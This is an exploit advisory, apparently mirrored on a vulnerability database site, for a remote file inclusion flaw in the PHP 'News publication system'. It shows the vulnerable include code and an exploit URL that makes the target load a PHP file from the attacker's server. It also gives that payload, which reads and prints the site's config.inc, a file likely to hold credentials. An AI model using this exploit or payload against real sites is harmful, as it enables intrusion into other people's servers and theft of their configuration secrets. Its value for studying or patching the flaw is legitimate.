`Software: News publication system
--------------------------------
Description: News publication system provides a mechanism for news blocks publication on site in conformity with rules and templates set. Provides a mechanism for adding news to the system and news management. Provides a mechanism for system management functions access control.
------------------------------------
Site: http://sourceforge.net/project/showfiles.php?group_id=27445
-----------------------------------------------------------
The variable $path in class.Database.php isn't defined before it is included. Register_Globals must be on.
Vulnerable Code:
if ($path!="")
include $path."config.inc";
else
include "../config.inc";
-----------------------------
Exploit
http://[SITE]/newsp/lib/class.Database.php?path=http://[your server]/jacked.txt?
------------------------------
Jacked.txt
<?php
$file='../config.inc';
$handle=fopen($file,'r');
while(!feof($handle))
{
if($handle)
{
$data = fgets($handle,filesize($file));
$data.='<br>';
}
else
{
echo 'handle failed';
}
echo $data;
}
exit(0);
?>
Navairum
legalize it
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation